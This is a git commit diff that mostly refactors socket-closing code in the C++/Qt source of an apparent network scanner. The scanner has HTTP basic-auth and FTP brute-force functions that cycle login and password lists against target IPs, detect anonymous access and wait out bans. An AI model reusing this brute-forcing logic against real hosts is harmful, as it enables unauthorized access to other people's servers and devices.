Added resources + some refactoring

This commit is contained in:
cora32 2014-11-22 19:22:24 +03:00
parent 61e0d2ecbf
commit 369f6440fe
14 changed files with 262 additions and 318 deletions

View File

@ -80,22 +80,19 @@ int KeyCheckerMain()
int test = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); int test = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr));
if(test == -1) if(test == -1)
{ {
#pragma region QTGUI_Area
stt->doEmitionRedFoundData("[Key check] -connect() returned. Cannot connect to balancer! " + QString::number(WSAGetLastError()) + "."); stt->doEmitionRedFoundData("[Key check] -connect() returned. Cannot connect to balancer! " + QString::number(WSAGetLastError()) + ".");
closesocket(sock); CSSOCKET(sock);
return -1; return -1;
#pragma endregion
}; };
test = send(sock, msg, strlen(msg), 0); test = send(sock, msg, strlen(msg), 0);
if(test == -1) if(test == -1)
{ {
#pragma region QTGUI_Area
stt->doEmitionRedFoundData("[Key check] -send() returned. Cannot send to balancer! " + QString::number(WSAGetLastError()) + "."); stt->doEmitionRedFoundData("[Key check] -send() returned. Cannot send to balancer! " + QString::number(WSAGetLastError()) + ".");
closesocket(sock); CSSOCKET(sock);
return -1; return -1;
#pragma endregion
}; };
ZeroMemory(msg, sizeof(msg)); ZeroMemory(msg, sizeof(msg));
@ -110,11 +107,10 @@ int KeyCheckerMain()
if(test == -1) if(test == -1)
{ {
#pragma region QTGUI_Area
stt->doEmitionRedFoundData("[Key check] -recv() returned. Cannot recv from balancer! " + QString::number(WSAGetLastError()) + "."); stt->doEmitionRedFoundData("[Key check] -recv() returned. Cannot recv from balancer! " + QString::number(WSAGetLastError()) + ".");
closesocket(sock); CSSOCKET(sock);
return -1; return -1;
#pragma endregion
}; };
char *t1; char *t1;
@ -128,20 +124,17 @@ int KeyCheckerMain()
int ln = t2 - t1 - strlen("http://"); int ln = t2 - t1 - strlen("http://");
if(ln > 64) if(ln > 64)
{ {
#pragma region QTGUI_Area
stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!");
closesocket(sock); CSSOCKET(sock);
return -1; return -1;
#pragma endregion
} }
else strncpy(ndbServer, (char*)(t1 + strlen("http://")), ln); else strncpy(ndbServer, (char*)(t1 + strlen("http://")), ln);
if(strlen(t2) > 64) if(strlen(t2) > 64)
{ {
#pragma region QTGUI_Area
stt->doEmitionYellowFoundData("[Key check] -Fragmentation detected!"); stt->doEmitionYellowFoundData("[Key check] -Fragmentation detected!");
#pragma endregion
if(strstr(t2, "\r\n") != NULL) if(strstr(t2, "\r\n") != NULL)
{ {
char *t3 = strstr(t2, "\r\n"); char *t3 = strstr(t2, "\r\n");
@ -149,11 +142,10 @@ int KeyCheckerMain()
if(y > 64) if(y > 64)
{ {
#pragma region QTGUI_Area
stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!");
closesocket(sock); CSSOCKET(sock);
return -1; return -1;
#pragma endregion
} }
else else
{ {
@ -162,29 +154,25 @@ int KeyCheckerMain()
} }
else else
{ {
#pragma region QTGUI_Area
stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!");
closesocket(sock); CSSOCKET(sock);
return -1; return -1;
#pragma endregion
}; };
} else strcpy(ndbScript, t2); } else strcpy(ndbScript, t2);
} }
else else
{ {
#pragma region QTGUI_Area
stt->doEmitionRedFoundData("[Key check] -Cannot receive script value!"); stt->doEmitionRedFoundData("[Key check] -Cannot receive script value!");
closesocket(sock); CSSOCKET(sock);
return -1; return -1;
#pragma endregion
}; };
ZeroMemory(msg, sizeof(msg)); ZeroMemory(msg, sizeof(msg));
#pragma region QTGUI_Area
stt->doEmitionGreenFoundData("[Key check] -OK. -Server string aquired! Checking key..."); stt->doEmitionGreenFoundData("[Key check] -OK. -Server string aquired! Checking key...");
closesocket(sock); CSSOCKET(sock);
#pragma endregion
sockAddr.sin_family = AF_INET; sockAddr.sin_family = AF_INET;
sockAddr.sin_port = htons(atoi(trcSrvPortLine)); sockAddr.sin_port = htons(atoi(trcSrvPortLine));
@ -209,14 +197,14 @@ int KeyCheckerMain()
if(c == SOCKET_ERROR) if(c == SOCKET_ERROR)
{ {
stt->doEmitionRedFoundData("[Key check] -Connection timeout."); stt->doEmitionRedFoundData("[Key check] -Connection timeout.");
closesocket(sock); CSSOCKET(sock);
return -1; return -1;
}; };
c = send(sock, msg, strlen(msg), 0); c = send(sock, msg, strlen(msg), 0);
if(c == SOCKET_ERROR) if(c == SOCKET_ERROR)
{ {
stt->doEmitionRedFoundData("[Key check] -Send error."); stt->doEmitionRedFoundData("[Key check] -Send error.");
closesocket(sock); CSSOCKET(sock);
return -1; return -1;
}; };
ZeroMemory(msg, sizeof(msg)); ZeroMemory(msg, sizeof(msg));
@ -227,7 +215,8 @@ int KeyCheckerMain()
#pragma region QTGUI_Area #pragma region QTGUI_Area
stt->doEmitionGreenFoundData("[Key check] -OK. Key is valid!"); stt->doEmitionGreenFoundData("[Key check] -OK. Key is valid!");
#pragma endregion #pragma endregion
closesocket(sock); CSSOCKET(sock);
if(emitIfOK == 0) stt->doEmitionStartScanIP(); if(emitIfOK == 0) stt->doEmitionStartScanIP();
else if(emitIfOK == 1) stt->doEmitionStartScanDNS(); else if(emitIfOK == 1) stt->doEmitionStartScanDNS();
else if(emitIfOK == 2) stt->doEmitionStartScanImport(); else if(emitIfOK == 2) stt->doEmitionStartScanImport();
@ -240,13 +229,13 @@ int KeyCheckerMain()
if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required.");
else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(msg, "notify") + "]"); else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(msg, "notify") + "]");
#pragma endregion #pragma endregion
closesocket(sock); CSSOCKET(sock);
return -1; return -1;
} }
else if(strstr(msg, "503 Bad Gateway") != NULL) else if(strstr(msg, "503 Bad Gateway") != NULL)
{ {
stt->doEmitionYellowFoundData("[NS-Track] 503 Backend not responding!"); stt->doEmitionYellowFoundData("[NS-Track] 503 Backend not responding!");
closesocket(sock); CSSOCKET(sock);
return -1; return -1;
} }
else else
@ -257,19 +246,19 @@ int KeyCheckerMain()
stt->doEmitionYellowFoundData("[Key check] -FAIL! An error occured. (" + QString::number(WSAGetLastError()) + ") Header: <u>" + QString::fromLocal8Bit(header) + "</u>"); stt->doEmitionYellowFoundData("[Key check] -FAIL! An error occured. (" + QString::number(WSAGetLastError()) + ") Header: <u>" + QString::fromLocal8Bit(header) + "</u>");
if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg));
#pragma endregion #pragma endregion
closesocket(sock); CSSOCKET(sock);
return -1; return -1;
}; };
ZeroMemory(msg, sizeof(msg)); ZeroMemory(msg, sizeof(msg));
closesocket(sock); CSSOCKET(sock);
} }
else else
{ {
#pragma region QTGUI_Area #pragma region QTGUI_Area
stt->doEmitionRedFoundData("[Key check] -Balancer replied with invalid string."); stt->doEmitionRedFoundData("[Key check] -Balancer replied with invalid string.");
if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg));
closesocket(sock); CSSOCKET(sock);
return -1; return -1;
#pragma endregion #pragma endregion
}; };

View File

@ -111,7 +111,7 @@ void CheckProxyLogic()
#pragma endregion #pragma endregion
proxyEnabledFlag = 1; proxyEnabledFlag = 1;
closesocket(pSock); CSSOCKET(pSock);
break; break;
} }
else else
@ -121,7 +121,7 @@ void CheckProxyLogic()
#pragma endregion #pragma endregion
proxyEnabledFlag = 0; proxyEnabledFlag = 0;
closesocket(pSock); CSSOCKET(pSock);
break; break;
}; };
}; };
@ -134,7 +134,7 @@ void CheckProxyLogic()
#pragma endregion #pragma endregion
proxyEnabledFlag = 0; proxyEnabledFlag = 0;
closesocket(pSock); CSSOCKET(pSock);
break; break;
}; };
}; };

View File

@ -3,10 +3,9 @@
#include <libssh/libssh.h> #include <libssh/libssh.h>
#include <sstream> #include <sstream>
#include <openssl/md5.h> #include <openssl/md5.h>
#include "resource.h" #include "mainResources.h"
#include "externFunctions.h" #include "externFunctions.h"
#include "externData.h" #include "externData.h"
#pragma once
#if defined(Q_OS_WIN32) #if defined(Q_OS_WIN32)
#include <iphlpapi.h> #include <iphlpapi.h>
@ -14,6 +13,7 @@
#pragma comment(lib, "iphlpapi.lib") #pragma comment(lib, "iphlpapi.lib")
#endif #endif
int gMaxBrutingThreads = 200; int gMaxBrutingThreads = 200;
fd_set write_fs;
void BConInc() void BConInc()
{ {
@ -172,7 +172,7 @@ int OpenConnection(SOCKET *sock, const char *hostname, int port)
if ( connect(*sock, (struct sockaddr*)&addr, sizeof(addr)) == SOCKET_ERROR ) if ( connect(*sock, (struct sockaddr*)&addr, sizeof(addr)) == SOCKET_ERROR )
{ {
++offlines; ++offlines;
closesocket(*sock); CSSOCKET(*sock);
return -1; return -1;
}; };
return 0; return 0;
@ -185,6 +185,7 @@ void _baSSLWorker(char *ip, char *request, char *rvBuff)
ctx = SSL_CTX_new(method); /* Create new context */ ctx = SSL_CTX_new(method); /* Create new context */
SSL_CTX_set_timeout(ctx, gTimeOut); SSL_CTX_set_timeout(ctx, gTimeOut);
SOCKET sock; SOCKET sock;
if(ctx != NULL) if(ctx != NULL)
{ {
int result = OpenConnection(&sock, ip, 443); int result = OpenConnection(&sock, ip, 443);
@ -220,12 +221,12 @@ void _baSSLWorker(char *ip, char *request, char *rvBuff)
}; };
SSL_shutdown(ssl); SSL_shutdown(ssl);
SSL_free(ssl); SSL_free(ssl);
closesocket(sock); /* close socket */ CSSOCKET(sock);
SSL_CTX_free(ctx); /* release context */ SSL_CTX_free(ctx); /* release context */
return; return;
}; };
}; };
closesocket(sock); /* close socket */ CSSOCKET(sock);
SSL_CTX_free(ctx); /* release context */ SSL_CTX_free(ctx); /* release context */
} }
else else
@ -468,8 +469,7 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method)
{ {
if(strstri(headerMsg, "400 Bad") != NULL) if(strstri(headerMsg, "400 Bad") != NULL)
{ {
shutdown(sock, SD_BOTH); CSSOCKET(sock);
closesocket(sock);
strcpy(lps.other, "[400 Bad Request]"); strcpy(lps.other, "[400 Bad Request]");
isActive = 0; isActive = 0;
@ -490,8 +490,7 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method)
} }
else else
{ {
shutdown(sock, SD_BOTH); CSSOCKET(sock);
closesocket(sock);
strcpy(lps.other, QString("[404 Not Found (" + QString(path) + ")]").toLocal8Bit().data()); strcpy(lps.other, QString("[404 Not Found (" + QString(path) + ")]").toLocal8Bit().data());
isActive = 0; isActive = 0;
@ -515,8 +514,7 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method)
if(goon == false) if(goon == false)
{ {
shutdown(sock, SD_BOTH); CSSOCKET(sock);
closesocket(sock);
strcpy(lps.login, "NULL"); strcpy(lps.login, "NULL");
strcpy(lps.pass, "NULL"); strcpy(lps.pass, "NULL");
@ -525,8 +523,7 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method)
}; };
}; };
shutdown(sock, SD_BOTH); CSSOCKET(sock);
closesocket(sock);
#pragma endregion #pragma endregion
isActive = 1; isActive = 1;
@ -661,8 +658,7 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method)
while(cErrCode == 10038) while(cErrCode == 10038)
{ {
if(gDebugMode) stt->doEmitionDebugFoundData("[BA] 10038 occured -- [" + QString(ip) + ":" + QString::number(port) + "]"); if(gDebugMode) stt->doEmitionDebugFoundData("[BA] 10038 occured -- [" + QString(ip) + ":" + QString::number(port) + "]");
shutdown(sock, SD_BOTH); CSSOCKET(sock);
closesocket(sock);
sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr));
cErrCode = WSAGetLastError(); cErrCode = WSAGetLastError();
@ -693,8 +689,7 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method)
{ {
stt->doEmitionRedFoundData("[BA] Send error! [" + QString(ip) + "]"); stt->doEmitionRedFoundData("[BA] Send error! [" + QString(ip) + "]");
shutdown(sock, SD_BOTH); CSSOCKET(sock);
closesocket(sock);
isActive = 0; isActive = 0;
strcpy(lps.login, "UNKNOWN"); strcpy(lps.login, "UNKNOWN");
return lps; return lps;
@ -708,17 +703,14 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method)
stt->doEmitionRedFoundData("[BA] Cannot connect to " + QString(ip) + "[" + QString::number(WSAErr) + "]"); stt->doEmitionRedFoundData("[BA] Cannot connect to " + QString(ip) + "[" + QString::number(WSAErr) + "]");
}; };
shutdown(sock, SD_BOTH); CSSOCKET(sock);
closesocket(sock);
isActive = 0; isActive = 0;
strcpy(lps.login, "UNKNOWN"); strcpy(lps.login, "UNKNOWN");
return lps; return lps;
}; };
shutdown(sock, SD_BOTH); CSSOCKET(sock);
closesocket(sock);
}; };
#pragma endregion #pragma endregion
@ -755,9 +747,7 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method)
|| strstr(recvBuff, "403 Forbidden") != NULL || strstr(recvBuff, "403 Forbidden") != NULL
) )
{ {
#pragma region QTGUI_Area
stt->doEmition_BARedData("[.] 503/400/403 - Waiting 30sec (" + QString(ip) + ":" + QString::number(port) + ")"); stt->doEmition_BARedData("[.] 503/400/403 - Waiting 30sec (" + QString(ip) + ":" + QString::number(port) + ")");
#pragma endregion
if(j > 0) --j; if(j > 0) --j;
Sleep(30000); Sleep(30000);
@ -770,9 +760,8 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method)
{ {
if(HTMLDebugMode) _DebugWriteHTMLToFile(request, recvBuff); if(HTMLDebugMode) _DebugWriteHTMLToFile(request, recvBuff);
#pragma region QTGUI_Area
stt->doEmitionRedFoundData("[-] 404 - Wrong path detected. (" + QString(ip) + ":" + QString::number(port) + QString(path) + ")"); stt->doEmitionRedFoundData("[-] 404 - Wrong path detected. (" + QString(ip) + ":" + QString::number(port) + QString(path) + ")");
#pragma endregion
isActive = 0; isActive = 0;
strcpy(lps.login, "UNKNOWN"); strcpy(lps.login, "UNKNOWN");
return lps; return lps;
@ -912,8 +901,7 @@ lopaStr _FTPBrute(char *ip, int port, PathStr *ps)
while(cErrCode == 10038) while(cErrCode == 10038)
{ {
if(gDebugMode) stt->doEmitionDebugFoundData("[FTP] 10038 occured -- [" + QString(ip) + ":" + QString::number(port) + "]"); if(gDebugMode) stt->doEmitionDebugFoundData("[FTP] 10038 occured -- [" + QString(ip) + ":" + QString::number(port) + "]");
shutdown(sockFTP, SD_BOTH); CSSOCKET(sockFTP);
closesocket(sockFTP);
sockFTP = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); sockFTP = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
connectionResult = connect(sockFTP, (sockaddr*)&sockAddr, sizeof(sockAddr)); connectionResult = connect(sockFTP, (sockaddr*)&sockAddr, sizeof(sockAddr));
cErrCode = WSAGetLastError(); cErrCode = WSAGetLastError();
@ -940,8 +928,7 @@ lopaStr _FTPBrute(char *ip, int port, PathStr *ps)
if(strstr(recvBuff, "451 The parameter is incorrect") != NULL if(strstr(recvBuff, "451 The parameter is incorrect") != NULL
) )
{ {
shutdown(sockFTP, SD_BOTH); CSSOCKET(sockFTP);
closesocket(sockFTP);
isActive = 0; isActive = 0;
stt->doEmition_BARedData("[*] Unknown protocol (451 Error) - " + QString(ip)); stt->doEmition_BARedData("[*] Unknown protocol (451 Error) - " + QString(ip));
strcpy(lps.other, "Unknown protocol (451 Error)"); strcpy(lps.other, "Unknown protocol (451 Error)");
@ -950,12 +937,10 @@ lopaStr _FTPBrute(char *ip, int port, PathStr *ps)
if(strstri(recvBuff, "only anonymous") != NULL) if(strstri(recvBuff, "only anonymous") != NULL)
{ {
shutdown(sockFTP, SD_BOTH); CSSOCKET(sockFTP);
closesocket(sockFTP);
isActive = 0; isActive = 0;
#pragma region QTGUI_Area
stt->doEmition_BAGreenData("[*] Anonymous access detected - " + QString(ip)); stt->doEmition_BAGreenData("[*] Anonymous access detected - " + QString(ip));
#pragma endregion
strcpy(lps.login, "anonymous"); strcpy(lps.login, "anonymous");
strcpy(lps.pass, "1"); strcpy(lps.pass, "1");
return lps; return lps;
@ -965,8 +950,7 @@ lopaStr _FTPBrute(char *ip, int port, PathStr *ps)
|| strstr(recvBuff, "550-") != NULL || strstr(recvBuff, "550-") != NULL
) )
{ {
shutdown(sockFTP, SD_BOTH); CSSOCKET(sockFTP);
closesocket(sockFTP);
isActive = 0; isActive = 0;
@ -980,8 +964,7 @@ lopaStr _FTPBrute(char *ip, int port, PathStr *ps)
if(strstr(recvBuff, "no such command")) if(strstr(recvBuff, "no such command"))
{ {
shutdown(sockFTP, SD_BOTH); CSSOCKET(sockFTP);
closesocket(sockFTP);
isActive = 0; isActive = 0;
stt->doEmition_BARedData("[-] 500 (Sorry, no such command) " + QString(ip)); stt->doEmition_BARedData("[-] 500 (Sorry, no such command) " + QString(ip));
@ -996,8 +979,7 @@ lopaStr _FTPBrute(char *ip, int port, PathStr *ps)
) )
{ {
j = 0; j = 0;
shutdown(sockFTP, SD_BOTH); CSSOCKET(sockFTP);
closesocket(sockFTP);
closedSocket = 1; closedSocket = 1;
ZeroMemory(recvBuff, sizeof(recvBuff)); ZeroMemory(recvBuff, sizeof(recvBuff));
break; break;
@ -1005,8 +987,7 @@ lopaStr _FTPBrute(char *ip, int port, PathStr *ps)
if(strstr(recvBuff, "421 ") != NULL || strstr(recvBuff, "421-") != NULL) if(strstr(recvBuff, "421 ") != NULL || strstr(recvBuff, "421-") != NULL)
{ {
shutdown(sockFTP, SD_BOTH); CSSOCKET(sockFTP);
closesocket(sockFTP);
closedSocket = 1; closedSocket = 1;
ZeroMemory(recvBuff, sizeof(recvBuff)); ZeroMemory(recvBuff, sizeof(recvBuff));
break; break;
@ -1015,8 +996,7 @@ lopaStr _FTPBrute(char *ip, int port, PathStr *ps)
if(strstri(recvBuff, "530 Sorry, no ANONYMOUS access allowed.") != NULL) if(strstri(recvBuff, "530 Sorry, no ANONYMOUS access allowed.") != NULL)
{ {
++i; ++i;
shutdown(sockFTP, SD_BOTH); CSSOCKET(sockFTP);
closesocket(sockFTP);
closedSocket = 1; closedSocket = 1;
ZeroMemory(recvBuff, sizeof(recvBuff)); ZeroMemory(recvBuff, sizeof(recvBuff));
break; break;
@ -1032,8 +1012,7 @@ lopaStr _FTPBrute(char *ip, int port, PathStr *ps)
#pragma region QTGUI_Area #pragma region QTGUI_Area
stt->doEmition_BARedData("[-] FTP: 530 - Ban detected? Waiting 30sec (" + QString(ip) + ")"); stt->doEmition_BARedData("[-] FTP: 530 - Ban detected? Waiting 30sec (" + QString(ip) + ")");
#pragma endregion #pragma endregion
shutdown(sockFTP, SD_BOTH); CSSOCKET(sockFTP);
closesocket(sockFTP);
closedSocket = 1; closedSocket = 1;
if(j > 0) --j; if(j > 0) --j;
ZeroMemory(recvBuff, sizeof(recvBuff)); ZeroMemory(recvBuff, sizeof(recvBuff));
@ -1079,8 +1058,7 @@ lopaStr _FTPBrute(char *ip, int port, PathStr *ps)
) )
{ {
stt->doEmition_BARedData("FTP server (" + QString(ip) + ") appears to require SSL for specified user: " + QString(loginLst[i])); stt->doEmition_BARedData("FTP server (" + QString(ip) + ") appears to require SSL for specified user: " + QString(loginLst[i]));
shutdown(sockFTP, SD_BOTH); CSSOCKET(sockFTP);
closesocket(sockFTP);
isActive = 0; isActive = 0;
@ -1146,8 +1124,7 @@ lopaStr _FTPBrute(char *ip, int port, PathStr *ps)
if(strstri(recvBuff2, "unknown command") != NULL || strstri(recvBuff2, "invalid command") != NULL) if(strstri(recvBuff2, "unknown command") != NULL || strstri(recvBuff2, "invalid command") != NULL)
{ {
stt->doEmitionYellowFoundData("[-] PASV failed. Router detected?"); stt->doEmitionYellowFoundData("[-] PASV failed. Router detected?");
shutdown(sockFTP, SD_BOTH); CSSOCKET(sockFTP);
closesocket(sockFTP);
strcpy(lps.login, loginLst[i]); strcpy(lps.login, loginLst[i]);
strcpy(lps.pass, passLst[j]); strcpy(lps.pass, passLst[j]);
strcpy(lps.other, "ROUTER"); strcpy(lps.other, "ROUTER");
@ -1197,10 +1174,9 @@ lopaStr _FTPBrute(char *ip, int port, PathStr *ps)
if(x <= 0 || strstr(recvBuff, "unknown command") != NULL) if(x <= 0 || strstr(recvBuff, "unknown command") != NULL)
{ {
stt->doEmition_BAGreenData("[?] " + QString(pass) + " [MLSD&LIST failed or server closed connection.]"); stt->doEmition_BAGreenData("[?] " + QString(pass) + " [MLSD&LIST failed or server closed connection.]");
shutdown(sockFTP, SD_BOTH);
closesocket(sockFTP); CSSOCKET(sockFTP);
shutdown(newSockFTP, SD_BOTH); CSSOCKET(newSockFTP);
closesocket(newSockFTP);
closedSocket = 1; closedSocket = 1;
isActive = 0; isActive = 0;
strcpy(lps.login, "UNKNOWN"); strcpy(lps.login, "UNKNOWN");
@ -1210,8 +1186,7 @@ lopaStr _FTPBrute(char *ip, int port, PathStr *ps)
} }
else stt->doEmition_BAGreenData("[+] " + QString(pass) + " [LIST succeeded]"); else stt->doEmition_BAGreenData("[+] " + QString(pass) + " [LIST succeeded]");
shutdown(newSockFTP, SD_BOTH); CSSOCKET(newSockFTP);
closesocket(newSockFTP);
} }
else else
{ {
@ -1239,8 +1214,7 @@ lopaStr _FTPBrute(char *ip, int port, PathStr *ps)
strcpy(lps.login, loginLst[i]); strcpy(lps.login, loginLst[i]);
strcpy(lps.pass, passLst[j]); strcpy(lps.pass, passLst[j]);
shutdown(sockFTP, SD_BOTH); CSSOCKET(sockFTP);
closesocket(sockFTP);
isActive = 0; isActive = 0;
return lps; return lps;
} }
@ -1251,15 +1225,14 @@ lopaStr _FTPBrute(char *ip, int port, PathStr *ps)
strcpy(lps.login, loginLst[i]); strcpy(lps.login, loginLst[i]);
strcpy(lps.pass, passLst[j]); strcpy(lps.pass, passLst[j]);
shutdown(sockFTP, SD_BOTH); CSSOCKET(sockFTP);
closesocket(sockFTP);
isActive = 0; isActive = 0;
return lps; return lps;
}; };
}; };
}; };
shutdown(sockFTP, SD_BOTH);
closesocket(sockFTP); CSSOCKET(sockFTP);
closedSocket = 1; closedSocket = 1;
ZeroMemory(recvBuff, sizeof(recvBuff)); ZeroMemory(recvBuff, sizeof(recvBuff));
} }
@ -1273,19 +1246,9 @@ lopaStr _FTPBrute(char *ip, int port, PathStr *ps)
if(gThreads > 1 && WSAerr != 10060/*Timeout*/ && WSAerr != 10055/*POOLOVERFLOW*/ && WSAerr != 10061/*WSAECONNREFUSED*/ && WSAerr != 10054/*WSACONNABORTED*/ && WSAerr != 0) if(gThreads > 1 && WSAerr != 10060/*Timeout*/ && WSAerr != 10055/*POOLOVERFLOW*/ && WSAerr != 10061/*WSAECONNREFUSED*/ && WSAerr != 10054/*WSACONNABORTED*/ && WSAerr != 0)
{ {
strcpy(err, "[FTPBrute] Cannot connect to "); stt->doEmitionRedFoundData("[FTPBrute] Cannot connect to " + QString(ip) + " " + QString(std::to_string((long double)WSAerr).c_str()));
strcat(err, ip);
strcat(err, " [");
strcat(err, std::to_string((long double)WSAerr).c_str());
strcat(err, "]");
#pragma region QTGUI_Area
stt->doEmitionRedFoundData(QString(err));
#pragma endregion
}; };
CSSOCKET(sockFTP);
shutdown(sockFTP, SD_BOTH);
closesocket(sockFTP);
isActive = 0; isActive = 0;
strcpy(lps.login, "UNKNOWN"); strcpy(lps.login, "UNKNOWN");
return lps; return lps;
@ -1299,8 +1262,7 @@ lopaStr _FTPBrute(char *ip, int port, PathStr *ps)
}; };
}; };
}; };
shutdown(sockFTP, SD_BOTH); CSSOCKET(sockFTP);
closesocket(sockFTP);
isActive = 0; isActive = 0;
strcpy(lps.login, "UNKNOWN"); strcpy(lps.login, "UNKNOWN");
return lps; return lps;
@ -1366,8 +1328,8 @@ int _sslConnectTo(char *iph, int porth, char *requesth, conSTR *CSTR)
if(HTMLDebugMode) _DebugWriteHTMLToFile(requesth, recvBuff2); if(HTMLDebugMode) _DebugWriteHTMLToFile(requesth, recvBuff2);
delete[] recvBuff2; delete[] recvBuff2;
recvBuff2 = NULL; recvBuff2 = NULL;
shutdown(sock, SD_BOTH); CSSOCKET(sock);
closesocket(sock);
++Overl; ++Overl;
CSTR->lowerBuff = new char[11]; CSTR->lowerBuff = new char[11];
@ -1392,8 +1354,7 @@ int _sslConnectTo(char *iph, int porth, char *requesth, conSTR *CSTR)
delete[] recvBuff2; delete[] recvBuff2;
recvBuff2 = NULL; recvBuff2 = NULL;
shutdown(sock, SD_BOTH); CSSOCKET(sock);
closesocket(sock);
CSTR->lowerBuff = new char[12]; CSTR->lowerBuff = new char[12];
strcpy(CSTR->lowerBuff, "[IGNR_ADDR]"); strcpy(CSTR->lowerBuff, "[IGNR_ADDR]");
@ -1411,8 +1372,7 @@ int _sslConnectTo(char *iph, int porth, char *requesth, conSTR *CSTR)
}; };
SSL_free(ssl); SSL_free(ssl);
shutdown(sock, SD_BOTH); CSSOCKET(sock);
closesocket(sock); /* close socket */
SSL_CTX_free(ctx); /* release context */ SSL_CTX_free(ctx); /* release context */
if(bytes == 0 || recvBuff2 == NULL) if(bytes == 0 || recvBuff2 == NULL)
@ -1442,8 +1402,7 @@ int _sslConnectTo(char *iph, int porth, char *requesth, conSTR *CSTR)
{ {
delete[] recvBuff2; delete[] recvBuff2;
recvBuff2 = NULL; recvBuff2 = NULL;
shutdown(sock, SD_BOTH); CSSOCKET(sock);
closesocket(sock); /* close socket */
SSL_free(ssl); SSL_free(ssl);
SSL_CTX_free(ctx); /* release context */ SSL_CTX_free(ctx); /* release context */
CSTR->lowerBuff = new char[1]; CSTR->lowerBuff = new char[1];
@ -1469,7 +1428,7 @@ void __deleteExcessiveNullBytes(char *buff, int sz)
}; };
}; };
struct linger linger = { 0 }; struct linger linger = { 0 };
int Connector::_EstablishConnection(char *ip, int port, char *requesth, conSTR *CSTR, int force) int Connector::_EstablishConnection(char *ip, int port, char *request, conSTR *CSTR, int force)
{ {
CSTR->lowerBuff = NULL; CSTR->lowerBuff = NULL;
if(strlen(ip) == 0) if(strlen(ip) == 0)
@ -1483,10 +1442,7 @@ int Connector::_EstablishConnection(char *ip, int port, char *requesth, conSTR *
return -1; return -1;
}; };
int recvBuffSize = 0;
char *recvBuff2 = NULL; char *recvBuff2 = NULL;
char request[2049] = {0};
strcpy(request, requesth);
sockaddr_in sockAddr; sockaddr_in sockAddr;
sockAddr.sin_family = AF_INET; sockAddr.sin_family = AF_INET;
sockAddr.sin_port = htons(port); sockAddr.sin_port = htons(port);
@ -1508,33 +1464,19 @@ int Connector::_EstablishConnection(char *ip, int port, char *requesth, conSTR *
SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
while(sock == INVALID_SOCKET) while(sock == INVALID_SOCKET)
{ {
char temp[64] = {0}; stt->doEmitionRedFoundData("[Cannot create socket]");
strcpy(temp, "Cannot create socket - ");
strcat(temp, std::to_string((long double)WSAGetLastError()).c_str());
strcat(temp, " - ");
strcat(temp, ip);
strcat(temp, ":");
strcat(temp, std::to_string((long double)port).c_str());
#pragma region QTGUI_Area CSSOCKET(sock);
stt->doEmitionRedFoundData(QString(temp));
#pragma endregion
shutdown(sock, SD_BOTH);
closesocket(sock);
Sleep(500); Sleep(500);
sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
}; };
int iiError = WSAGetLastError(); while(WSAGetLastError() == 10038)
while(iiError == 10038)
{ {
if(gDebugMode) stt->doEmitionDebugFoundData("[ConnectTo] 10038 occured -- [" + QString(ip) + ":" + QString::number(port) + "]"); if(gDebugMode) stt->doEmitionDebugFoundData("10038 occured - [" + QString(ip) + ":" + QString::number(port) + "]");
shutdown(sock, SD_BOTH); CSSOCKET(sock);
closesocket(sock);
sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
iiError = WSAGetLastError();
}; };
#if defined(WIN32) #if defined(WIN32)
u_long FAR cmd = 1; u_long FAR cmd = 1;
@ -1543,82 +1485,48 @@ int Connector::_EstablishConnection(char *ip, int port, char *requesth, conSTR *
if( fcntl( sock , F_SETFL, O_NDELAY ) == -1 ) if( fcntl( sock , F_SETFL, O_NDELAY ) == -1 )
#endif #endif
{ {
char temp[64] = {0}; stt->doEmitionRedFoundData("[FIONBIO failed]");
strcpy(temp, "Error setting non-blocking mode - "); };
strcat(temp, std::to_string((long double)WSAGetLastError()).c_str());
strcat(temp, " - ");
strcat(temp, ip);
strcat(temp, ":");
strcat(temp, std::to_string((long double)port).c_str());
#pragma region QTGUI_Area
stt->doEmitionRedFoundData(QString(temp));
#pragma endregion
shutdown(sock, SD_BOTH);
closesocket(sock);
}
int recvBuffSize = 0;
int on = 1; int on = 1;
linger.l_onoff = 1; linger.l_onoff = 0;
